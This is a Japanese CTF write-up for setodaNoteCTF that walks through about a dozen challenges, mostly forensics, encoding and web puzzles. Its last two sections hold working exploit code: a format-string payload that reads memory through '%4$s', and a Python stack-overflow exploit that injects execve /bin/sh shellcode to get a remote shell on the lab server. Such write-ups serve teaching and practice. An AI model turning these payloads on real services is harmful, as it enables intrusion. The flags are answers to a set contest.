setodaNoteCTF writeup
setodaNoteCTFに参加しました
setodaNoteCTFに参加しました。
結果はこんな感じ。
writeup
echo request
与えられたpcapファイルをWiresharkで開いたところ、ping の送信データに怪しげなdataがついているので、dataフィールドだけを抽出することにしました。Wiresharkでやる方法がわからなかったので、tsharkを使いました。
tshark -r echo_request.pcap -Y icmp -T fields -e data
出力をCyberChefでデコードするとフラグ。解析結果
flag{ICMP_Tunneling_T1095}
参考にしたページ
puni_puni
以下の文字列を与えられました。
xn--q6jaaaaaa08db0x8nc9t1b8fsviei84atb4i0lc
xn--q6jaaaaa03dpd4mb3jc5rpa0g9jpk07acadc.
xn--q6jylla3va3j6c8138a8eptvb303cxv4ft3o4ue63a
xn--v8ja6aj2a3cri3ag4a2r6cx2a1rkk1272c7j4ajd4bmf0kjhg6rb.
xn--q6j6gav1a0b2e1bh1ac2cl29ad7728kdjen6cz80dju6bqexchl9gel8b.
見た目で国際化ドメイン名の形式だと分かったので、CyberChefについているデコーダーにかけました。結果
フラグは、さん、さん、ピー、ユー、エヌ、ワイ、
シー、オー、ディー、イー、よん、よん、です.
カタカナ表記は半角英小文字に、
ひらがな表記は半角数字にしたものがフラグです.
なお、読点は区切り文字なので取り除いてください.
とのことなのでフラグは
flag{33punycode44}
Redirect
GETのクエリパラメータによってリダイレクト先が変わる問題です。制御はJSで行われているので読めます。条件分岐を調べて適切なパラメータを渡すというのを何回か繰り返せばフラグが書かれたページに飛びました。
flag{Analyz1ng_Bad_Red1rects}
Mx.Flag
Mx.Flag で検索してもメキシコの旗しか出てこず、旗→画像→ファビコン の連想ゲームでファビコンをダウンロードしてみたらまさかのテキストファイルでした。
flag{Mr_Flag_hiding_in_the_favicon}
Mistake
Web問の中では一番時間がかかりました。Webserver directory index? というヒントがHtmlのコメントに書かれていたので、index.*をひたすら試したのですがうまくいかず。
結局、https://ctf.setodanote.net/web003/images/
でファイル一覧が出ました。フラグはhttps://ctf.setodanote.net/web003/images/pic_flag_is_here.txt
にあります。
flag{You_are_the_Laughing_Man,_aren't_you?}
lets_bake
Recipeはbase64エンコードされた文字列が]b2[
区切りでつながれた形式になっています。base64エンコードされた文字列がCyberChefのレシピを示しているので、その通りレシピを組んでbakeするとフラグが出てきました。フラグ
たくさんファイルが入ったZipファイルを渡されますが、フラグに関係するのはImapMail\mail.setodanote.net\Sent-1
だけです。後ろのほうにbase64エンコードされた文字列があり、これが添付ファイルになっています。デコードするとZipファイルになるので解凍するとフラグが書かれた画像ファイルが出てきます。
flag{You've_clearly_done_a_good_job_there!!}
この問題を解くときにwslのbase64コマンドは改行コードがCRLFだと動作しないということを知りました。
zzzippp
何回もzip圧縮されたファイルを取り出す問題。
for i in (seq 1000 -1 1)
unzip flag{$i}.zip
end
cat flag.txt
echo_me
はじめPythonとソケットでやろうとして、https://docs.python.org/ja/3/howto/sockets.html
とかを読んだのですが、使いこなせる気がしなかったので標準Telnetライブラリを使うことにしました。
https://docs.python.org/ja/3/library/telnetlib.html
完成したコードはこちら
from telnetlib import Telnet
# TARGET_ADDRESS = ('localhost', 9000)
TARGET_ADDRESS = ('10.1.1.10', 12020)
def echo(tn):
"""
wait for "echo me: hoge"
"""
rt = tn.expect([b'echo me: (.*)\n'])
print('[echo]', rt)
if rt[2]:
print(rt[2].decode('ascii'))
if rt[1]:
st = rt[1].group(1)
print('text =', st.decode('ascii'))
tn.write(st+b'\n')
else:
return False
return True
with Telnet(*TARGET_ADDRESS) as tn:
while echo(tn):
pass
to_analyze
monoで実行できたのでC#系の実行環境だと推測しました。ILSpyというフリーのデコンパイラがあるらしいので使ってみました。
https://github.com/icsharpcode/ILSpy
ややこしい処理をして文字列を生成し、その名前のディレクトリが存在するとフラグが出力される仕組みになっているようです。
ややこしい処理をPythonに移植して文字列を生成しました。
def check(a0):
if a0 in [107 ,117 ,108 ,102 ,98]:
return True
return False
def maybe_main():
array = 65, 127, 89, 80, 182, 160, 183, 182, 89, 118, 119, 116, 177, 189, 177
result = []
for i, v in enumerate(array):
v = v^35
if check(v):
v += 3
v = v^21
v = v-32
v = v^0x13
result.append(v)
print(''.join([chr(i) for i in result]))
maybe_main()
実行するとC:\Users\321txt
と出力するので、C:\Users\
に321txt
ディレクトリを作ってからto_analyze.exe
を実行するとフラグが出力されました。
flag{Do_y0u_Kn0w_Ursnif?}
EZZZIPPP
何重にもパスワード付きzipで圧縮したファイルを解凍する問題。パスワードはpass.txt
という名前で一緒に圧縮されているので解析する必要はありません。
まず、Pythonでソルバを書いたのですがあまりに遅かったのでシェルスクリプトで書き直しました。
from zipfile import ZipFile
def extract(zipfilename, pwd):
passwdfile = r'pass.txt'
with ZipFile(zipfilename) as zf:
l = zf.namelist()
for zipfilename in l:
if 'flag' in zipfilename:
break
newzipf = zf.open(zipfilename, pwd=pwd)
if 'txt' in zipfilename:
return newzipf, None
print(zipfilename, ':')
newpasswdf = zf.open(passwdfile, pwd=pwd)
newpass = newpasswdf.readline().strip()
return newzipf, newpass
zf, pwd = 'flag1000.zip', b'lCfIpIq2Ka'
while True:
print((zf, pwd))
zf, pwd = extract(zf, pwd)
if not pwd:
break
print(zf.open())
こちらは一瞬で終了しました。
for i in `seq 1000 -1 1`; do
unzip -o -P `cat pass.txt` flag${i}.zip
done
cat flag.txt
フラグは
flag{bdf574f15645df736df13daef06128b8}
1989
書式指定文字列攻撃をする問題。ncで接続するとflagのアドレスを仄めかしてくるので、とりあえずこのアドレスが指す文字列を表示することを目指しました。まず、入力した文字列がスタックのどの位置に配置されているか調べるため
AAAA,%x,%x,%x,%x,%x,%x,
を入力しました。すると
Your Inpur : AAAA,fff9da40,fff9de48,565cd306,41414141,2c78252c,252c7825,
と表示され、入力文字列は4番目にあることがわかりました。
{アドレス値}%4$s
を入力すればフラグが表示されるはずですが手では入力できないのでスクリプトを書きました。
from telnetlib import Telnet
# nc 10.1.1.10 13030
TARGET_ADDRESS = ('10.1.1.10', 13030)
def solve(tn):
rt = tn.expect([b'\[0x(.+)\]'])
print('[echo]', rt)
if rt[2]:
print(rt[2].decode('ascii'))
if rt[1]:
ts = rt[1].group(1)
print('target =', ts.decode('ascii'))
target_addr = int(ts, 16)
tb = target_addr.to_bytes(4, 'little')
payload = tb+b', %4$s\n'
tn.write(payload)
result = tn.read_all()
print(result.decode('ascii'))
with Telnet(*TARGET_ADDRESS) as tn:
solve(tn)
フラグは
flag{Homenum_Revelio_1989}
Shellcode 300
Ghidraで逆コンパイルした結果を見てリターンアドレス書き換えだと目星をつけました。何バイト目がリターンアドレスになるのか特定するのに手こずっている間にこんな記事を見つけました!
https://wiki.archlinux.jp/index.php/ステップバイステップデバッグガイド
この記事に載っているvalgrind
コマンドが非常に優秀でセグフォ時に命令レジスタの中身を表示してくれます!
表示されるアドレスは入力を受け取る配列の先頭を示しているので、これをリターンアドレスに設定した上で、配列の中身をシェルコードにすればシェルをとれます。
シェルコードはこれを使わせていただきました。
http://shell-storm.org/shellcode/files/shellcode-603.php
書いたエクスプロイトはこんな感じ。
from telnetlib import Telnet
# nc 10.1.1.10 13030
TARGET_ADDRESS = ('10.1.1.10', 13050)
SHELLCODE = b'\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\
\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05'
def solve(tn):
rt = tn.expect([b'\[0x(.+)\]'])
print('[echo]', rt)
if rt[2]:
print(rt[2].decode('ascii'))
if rt[1]:
ts = rt[1].group(1)
print('target =', ts.decode('ascii'))
# pack shellcode
shellcode = SHELLCODE + b'\x90'*(88-len(SHELLCODE))
# make payload
target_addr = int(ts, 16)
tb = target_addr.to_bytes(8, 'little')
payload = shellcode + tb + b'\n'
# send
tn.write(payload)
# tn.interact()
# with Telnet(*TARGET_ADDRESS) as tn:
tn = Telnet(*TARGET_ADDRESS)
solve(tn)
while True:
res = tn.read_very_eager()
print(res.decode('ascii', 'replace'))
cmd = input('))) ')
tn.write(cmd.encode('ascii') + b'\n')
/home/user/flag
にフラグが書かれたテキストファイルがあります。
flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}
おわりに
せっかく参加したので雑ですがWriteupを書いてみました。
難易度が自分にとってちょうどよく、楽しいCTFでした。
NetworkとOSINTをもうちょっと解けるようになりたい……
Discussion